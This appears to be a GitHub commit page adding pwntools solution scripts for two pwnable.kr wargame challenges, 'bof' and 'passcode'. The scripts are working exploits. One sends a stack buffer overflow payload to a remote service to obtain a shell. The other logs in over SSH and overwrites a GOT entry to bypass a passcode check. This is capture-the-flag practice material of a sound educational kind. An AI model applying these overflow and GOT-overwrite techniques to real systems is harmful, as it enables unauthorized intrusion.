Skip to content

Commit 801bdf7

Browse files
add pwnable.kr passcode solution
1 parent 69fc305 commit 801bdf7

File tree

2 files changed

+23
-0
lines changed

2 files changed

+23
-0
lines changed

pwnable-kr-bof.py

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
from pwn import *
2+
r = remote('pwnable.kr', 9000)
3+
# length of filler = (addr of key) - (addr of overflowme) = (ebp + 0x8) - (ebp - 0x2c) = 0x2c + 0x8
4+
payload = bytearray([ord('a')] * (0x2c + 0x8))
5+
payload.extend(p32(0xcafebabe))
6+
print(payload)
7+
r.sendline(payload)
8+
r.interactive()
9+
# now we have an interactive shell
10+
# run cat flag to get the flag now

pwnable-kr-passcode.py

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
from pwn import *
2+
#code = bytes(asm(shellcraft.i386.linux.exit(0)))
3+
#print(code)
4+
#iprint(u64(code))
5+
r = ssh(host='pwnable.kr', port=2222, user='passcode', password='guest')
6+
p = r.process('./passcode')
7+
#print(bytes([ord('a')] * 0x60) + p32(0x804a004))
8+
p.writeline(bytes([ord('a')] * 0x60) + p32(0x804a004))
9+
#print(str(0x80485d7).encode('ascii'))
10+
p.writeline(str(0x80485d7).encode('ascii'))
11+
p.interactive()
12+
# the flag will be written to output
13+
# it's the line before "Now I can safely trust you that you have credential :)"

0 commit comments

Comments
 (0)